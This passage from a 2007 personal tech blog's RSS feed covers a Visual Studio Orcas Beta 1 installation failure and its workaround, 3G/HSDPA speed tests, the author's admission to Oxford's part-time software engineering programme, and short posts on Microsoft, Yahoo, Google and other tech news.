      <title>Orcas Beta 1 Installation Fails</title>
      <link>/post/2007/05/orcas-beta-1-installation-fails/</link>
      <pubDate>Thu, 17 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/orcas-beta-1-installation-fails/</guid>
      <description>&lt;p&gt;I was trying to install Orcas VSTS Beta 1 on a Vista x32 machine and the setup failed as shown in the screen shot below and the logs were not very helpful either.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image00211.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[05/16/07,06:13:16] Microsoft .NET Framework v3.5: [2] Error code 87 for this component means &amp;ldquo;The parameter is incorrect.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:16] Microsoft .NET Framework v3.5: [2] Setup Failed on component Microsoft .NET Framework v3.5&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft .NET Framework v3.5 is not installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft Document Explorer 2007 was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft Visual Studio Codename Orcas Team Suite - ENU was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft .NET Compact Framework 2.0 SP2 was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft .NET Compact Framework 3.5 was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:18] VS70pgui: [2] DepCheck indicates Microsoft Visual Studio Codename Orcas Tools for Office Runtime was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Microsoft Visual Studio 2005 Tools for the 2007 Microsoft Office System Runtime was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Microsoft SQL Server Compact Edition 3.5 was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Microsoft SQL Server Compact Edition 3.5 Design Tools was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Microsoft SQL Server Compact Edition 3.5 For Devices was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Windows Mobile 5.0 SDK R2 for Pocket PC was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Windows Mobile 5.0 SDK R2 for Smartphone was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:19] VS70pgui: [2] DepCheck indicates Microsoft Device Emulator version 3.0 was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Microsoft .NET Framework 2.0 SDK was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Microsoft Visual Studio Asset System was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Windows SDK Tools (X86) was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Windows SDK Headers and Libraries (X86) was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Windows SDK Win32 Tools (X86) was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:20] VS70pgui: [2] DepCheck indicates Windows SDK NetFx Tools (X86) was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:21] VS70pgui: [2] DepCheck indicates Microsoft Visual Studio Performance Collection Tools (x86) was not attempted to be installed.&lt;/p&gt;
&lt;p&gt;[05/16/07,06:13:21] VS70pgui: [2] DepCheck indicates Crystal Reports was not attempted to be installed.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;After digging around a bit it turns out the installer could not install the .NET Framework. So to get around this you need to install the .NET v3.5 manually and this can be found in &lt;strong&gt;{your Orcas location}\WCU\dotNetFramework\dotNetFX35\&lt;/strong&gt; and then the appropriate platform (x86 or x64).&lt;/p&gt;
&lt;p&gt;There are a few more options &lt;a
	
		href = &#34;http://blog.kirupa.com/?p=92&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		as detailed by Kripura
	&lt;/span&gt;
&lt;/a&gt;, however I have not tried them so not sure which will work or not.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3877&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HSDPA (i.e 3.5G) Speed Results</title>
      <link>/post/2007/05/hsdpa-i-e-3-5g-speed-results/</link>
      <pubDate>Tue, 15 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/hsdpa-i-e-3-5g-speed-results/</guid>
      <description>&lt;p&gt;In addition to &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/05/14/hsdpa-3-5g-speed-results.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		3G speed results
	&lt;/span&gt;
&lt;/a&gt; I had posted earlier, below are the HSDPA and 3.5G speed results from home. Click on the image below to see them in full size.&lt;/p&gt;
&lt;p&gt;Summary:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HSDPA3.5GSpeedResults_E022/HSDPA_3.5_Summary1.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/HSDPA_3.5_Summary.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Upload:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HSDPA3.5GSpeedResults_E022/HSDPA_3.5G_Upload1.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/HSDPA_3.5G_Upload.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HSDPA3.5GSpeedResults_E022/HSDPA_3.5G_Download1.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/HSDPA_3.5G_Download.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3863&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>3G Speed Results</title>
      <link>/post/2007/05/3g-speed-results/</link>
      <pubDate>Mon, 14 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/3g-speed-results/</guid>
      <description>&lt;p&gt;Over the weekend I got a HSDPA / 3.5G USB modem and here are the &lt;em&gt;3G speed results&lt;/em&gt; of that from home. Click on the images to see them in full size. I&amp;rsquo;ll post the 3.5G results soon as well.&lt;/p&gt;
&lt;p&gt;Summary:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.speedtest.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/12616841523.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download Results:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HSDPA3.5GSpeedResults_13DB5/3.5G_Download_Speed1.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/3.5G_Download_Speed.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Upload Results:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HSDPA3.5GSpeedResults_13DB5/3.5G_Upload_Speed1.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/3.5G_Upload_Speed.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3857&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Chocolate Rage and Spoofed?</title>
      <link>/post/2007/05/chocolate-rage-and-spoofed/</link>
      <pubDate>Sun, 13 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/chocolate-rage-and-spoofed/</guid>
      <description>&lt;p&gt;Don&amp;rsquo;t believe me? Then &lt;a
	
		href = &#34;http://www.mymsnsearch.com/results.aspx?q=Amit&amp;#43;Bahree&amp;amp;FORM=dZhhp4osBRLi&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		check this out.
	&lt;/span&gt;
&lt;/a&gt; &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3848&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Dominus Illuminatio Mea</title>
      <link>/post/2007/05/dominus-illuminatio-mea/</link>
      <pubDate>Fri, 11 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/dominus-illuminatio-mea/</guid>
      <description>&lt;p&gt;What? Is that even English? I&amp;rsquo;ll get to answering it in a second.&lt;/p&gt;
&lt;p&gt;Not sure how many of you know, but for a very long time I have been wanting to do a Masters and also dabble in the world of Academia Research. I have done some commercial research in the past which I thoroughly enjoyed but never done any Academia research - well not yet anyway&amp;rsquo;s. &lt;a
	
		href = &#34;http://www.oua.ox.ac.uk/enquiries/arms.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/oxforduniversitynewcresttrans1.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After procrastinating on this for a long time, and with many other factors which I&amp;rsquo;d rather not get into here, finally the time came and I just had to try and pick this up again. After all I had been postponing this for over a decade and it was about time I got around to it!&lt;/p&gt;
&lt;p&gt;I finally took the plunge a few months ago and started doing my research on various universities and options and in the end settled down on Oxford. I went to their open day a few months ago, and decided it was an excellent opportunity for me in one of the top schools in the world! After applying to them and going thru the interview process, etc. I was glad to have been accepted by the school into their part-time masters program. Needless to say those who know me were flabbergasted and wondered, how the heck did *I* (of all the people get in)! &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt;.&lt;/p&gt;
&lt;p&gt;I am going to be joining the &lt;a
	
		href = &#34;http://www.softeng.ox.ac.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Software Engineering Programme
	&lt;/span&gt;
&lt;/a&gt; at Oxford and will be starting soon and am quite excited about the whole thing - sort of like a kid in a candy store - or me in Fry&amp;rsquo;s is probably the better analogy (sorry if you don&amp;rsquo;t get that last part - you need to have been hanging out with me for that &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt;). This is a part time program - which means I will continue to work full time. Also it will give me an opportunity to plug in to some of the &lt;a
	
		href = &#34;http://www.softeng.ox.ac.uk/research/projects.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		research
	&lt;/span&gt;
&lt;/a&gt; going on at Oxford and it would be up to me (or so I believe) on how deep I want to get involved with the research. Irrespective in addition to Avanade, this would be dominating most of my time outside of work and you can get bet you will see some posts related to this over the next few months. Another way to sum it up would be - I won&amp;rsquo;t have a life for the next 2-3 years.&lt;/p&gt;
&lt;p&gt;But joking aside, &lt;a
	
		href = &#34;http://education.guardian.co.uk/universityguide2008/story/0,,2069022,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Oxford topped Guardian&amp;rsquo;s league table
	&lt;/span&gt;
&lt;/a&gt; for the third time in a year - and is the number one university in the UK in overall ranking. And the fact it &lt;a
	
		href = &#34;http://education.guardian.co.uk/universityguide2008/story/0,,2068808,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		increased it&amp;rsquo;s lead over Cambridge
	&lt;/span&gt;
&lt;/a&gt; was just icing on the cake. &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt; The whole Oxford vs. Cambridge is new to me as well and I am surely going to have more details on that later.&lt;/p&gt;
&lt;p&gt;Getting back to the title of this post, &lt;em&gt;Dominus Illuminatio Mea&lt;/em&gt; roughly translated to &amp;ldquo;&lt;em&gt;the Lord is my light&lt;/em&gt;&amp;rdquo; and is the Legend in the Coat of Arms of the University of Oxford. If you see the image carefully you can see the words in the book which has a few leather straps on the left. The arms were adopted around the year 1400 AD and you can read about &lt;a
	
		href = &#34;http://www.oua.ox.ac.uk/enquiries/arms.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		their significance and origin here
	&lt;/span&gt;
&lt;/a&gt;. The University has a long rich history - full of tradition, much of which is new to me and over the next few weeks I would surely be posting some of the things I find new and interesting.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: Changed some minor sentence construction.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3814&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft oPhone</title>
      <link>/post/2007/05/microsoft-ophone/</link>
      <pubDate>Thu, 10 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/microsoft-ophone/</guid>
      <description>&lt;p&gt;Microsoft&amp;rsquo;s answer to &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/01/17/iphone-features.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Apple&amp;rsquo;s iPhone
	&lt;/span&gt;
&lt;/a&gt; &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3812&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Family.Show = I see Dead People</title>
      <link>/post/2007/05/family-show-i-see-dead-people/</link>
      <pubDate>Sat, 05 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/family-show-i-see-dead-people/</guid>
      <description>&lt;p&gt;Vertigo has a very cool WPF application called &lt;a
	
		href = &#34;http://www.vertigo.com/familyshow.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Family.Show
	&lt;/span&gt;
&lt;/a&gt; which exploits many of the new WPF features (data binding, sexy visualization, styles, templates, animation, etc.) and is a good example of the new &amp;ldquo;Web + Desktop&amp;rdquo; app hybrids combining the advantages of both paradigms. Family.Show is a genealogy application that you can use to build your family tree. The timeline implementation is very cool and you can &amp;ldquo;speed or slow down&amp;rdquo; time and see how your family tree (or forest) &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt; grows.&lt;/p&gt;
&lt;p&gt;Vertigo has also &lt;a
	
		href = &#34;http://s3.amazonaws.com/vertigo/FamilyShowOverview-broadband.wmv&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		posted a 5 minute video
	&lt;/span&gt;
&lt;/a&gt; if you want to see how it works. You can of course save the data in it&amp;rsquo;s native format but you can also import and export it to &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/GEDCOM&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GEDCOM
	&lt;/span&gt;
&lt;/a&gt; using which you can use other genealogy programs.&lt;/p&gt;
&lt;p&gt;Before you try and install this you need to have &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?familyid=10CC340B-F857-4A14-83F5-25634C3BF043&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		.NET 3.0 runtime
	&lt;/span&gt;
&lt;/a&gt; installed on your machine. You can download the &lt;a
	
		href = &#34;http://www.vertigo.com/downloads/familyshow/FamilyShowSource.zip&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		source code
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://www.vertigo.com/downloads/familyshow/familyshow.application&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		install it via ClickOnce
	&lt;/span&gt;
&lt;/a&gt; on either XP or Vista (if you are using IE).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3746&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft &#43; Yahoo = ?</title>
      <link>/post/2007/05/microsoft-yahoo/</link>
      <pubDate>Sat, 05 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/microsoft-yahoo/</guid>
      <description>&lt;p&gt;Seems like Microsoft and Yahoo discussed a merger where Microsoft would have bought Yahoo; although &lt;a
	
		href = &#34;http://online.wsj.com/article/SB117827827757492168.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the deal is off,
	&lt;/span&gt;
&lt;/a&gt; if it had gone thru the deal would have been &lt;a
	
		href = &#34;http://www.forbes.com/topstories/home/feeds/ap/2007/05/04/ap3685735.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		worth $50 billion!
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3740&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New Yahoo Web Messenger</title>
      <link>/post/2007/05/new-yahoo-web-messenger/</link>
      <pubDate>Sat, 05 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/new-yahoo-web-messenger/</guid>
      <description>&lt;p&gt;Keeping up with their cool AJAX implementation (part of Yahoo Mail), Yahoo has now &lt;a
	
		href = &#34;http://webmessenger.yahoo.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		implemented a Web version
	&lt;/span&gt;
&lt;/a&gt; of their Yahoo Messenger. I like the interface - fairly simple which makes it good. Now just waiting for the &lt;a
	
		href = &#34;http://messenger.yahoo.com/windowsvista.php;_ylt=AvTC5qLHXJh.dxKL2ISpSP5wMMIF&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vista version of Yahoo Messenger
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3742&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Outlook 2007</title>
      <link>/post/2007/05/outlook-2007/</link>
      <pubDate>Sat, 05 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/outlook-2007/</guid>
      <description>&lt;p&gt;I love Outlook but in 2007 there are some irritating things. For example if I shutdown Windows with Outlook running, next time it will complain that Outlook was not closed properly and does a file check - so I close Outlook wait for the process to finish before starting to shutdown Windows.&lt;/p&gt;
&lt;p&gt;Also every now and then I get the reminders with no reminders as you can see below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image001.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3739&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Boeing 737 Stuck in Mumbai Streets</title>
      <link>/post/2007/05/boeing-737-stuck-in-mumbai-streets/</link>
      <pubDate>Fri, 04 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/boeing-737-stuck-in-mumbai-streets/</guid>
      <description>&lt;p&gt;I &lt;a
	
		href = &#34;http://news.bbc.co.uk/1/hi/world/south_asia/6620461.stm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		stumbled across this BBC story
	&lt;/span&gt;
&lt;/a&gt; quite by accident - a driver taking a disused Boeing 737 seemed to get lost at night when transporting the plane when he reached a road with not enough road clearance and abandoned the plane in the middle of the road! This is quite funny though the poor guys who are inconvenienced by this would beg to differ.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3724&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Voice Local Search</title>
      <link>/post/2007/05/google-voice-local-search/</link>
      <pubDate>Fri, 04 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/google-voice-local-search/</guid>
      <description>&lt;p&gt;Google has a new service called &lt;a
	
		href = &#34;http://labs.google.com/goog411/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Voice Local Search
	&lt;/span&gt;
&lt;/a&gt; where you call a toll-free number (in the US) 800-GOOG-411 (for those not from America, 411 is the Information line, similar to 911 is the emergency line). You can use this by category or name of the business and other than the cost of your call it is free. It is handy if you don&amp;rsquo;t have access to a computer and has the same data as that is found on Google Maps. While you can use this with a mobile, Google is recommending to use Google SMS instead from a Mobile.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3725&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Update on Joost</title>
      <link>/post/2007/05/update-on-joost/</link>
      <pubDate>Fri, 04 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/update-on-joost/</guid>
      <description>&lt;p&gt;Right, quick update on &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/05/02/joost-gone-live-not-that-i-can-see-it.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my previous post on Joost
	&lt;/span&gt;
&lt;/a&gt; - I do have at the moment of writing this 998 Joost invitations; though still only 26 channels. And I don&amp;rsquo;t know what you guys are seeing, but the channels are not quite smooth and get quite jerky.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3726&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CS v.next</title>
      <link>/post/2007/05/cs-v-next/</link>
      <pubDate>Thu, 03 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/cs-v-next/</guid>
      <description>&lt;p&gt;Now that CS 2007 has shipped, CS (a.k.a Community Server - the thing that this blog runs on), has announced their plans for the rest of this year and will have two releases in July and October codenamed Maui and Hawaii respectively. Seem to be interesting changes, enhancements, refactoring, etc that is going on. I have not had the time to dig too much under the covers of CS (not since it morphed from .Text) so I cannot articulate some of the under-the-cover fixes. Read up all &lt;a
	
		href = &#34;http://communityserver.org/blogs/announcements/archive/2007/05/02/hawaii.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the details here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=3713&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Definition of a &#34;Typical&#34; Architect</title>
      <link>/post/2007/05/definition-of-a-typical-architect/</link>
      <pubDate>Thu, 03 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/definition-of-a-typical-architect/</guid>
      <description>&lt;p&gt;&amp;ldquo;&amp;hellip;I&amp;rsquo;ll design software that&amp;rsquo;ll run on an OS we&amp;rsquo;re not using, built on components that aren&amp;rsquo;t installed, and that require networking components that aren&amp;rsquo;t installed.&amp;rdquo; &lt;p&gt;

    &lt;img src=&#34;images/emotion-21.gif&#34; alt=&#34;Yes&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;(c) &lt;a
	
		href = &#34;http://chillijam.wordpress.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Marc Jennings
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Software Engineering Proverbs</title>
      <link>/post/2007/05/software-engineering-proverbs/</link>
      <pubDate>Wed, 02 May 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/05/software-engineering-proverbs/</guid>
      <description>&lt;p&gt;One of my colleague, Brian, pointed out the &lt;a
	
		href = &#34;http://www.multicians.org/thvv/proverbs.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Software Engineering Proverbs
	&lt;/span&gt;
&lt;/a&gt; - which are quite priceless. It sure does remind me of the Top &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2005/10/24/1699.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		10 replies from a developer
	&lt;/span&gt;
&lt;/a&gt; (when code breaks). &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

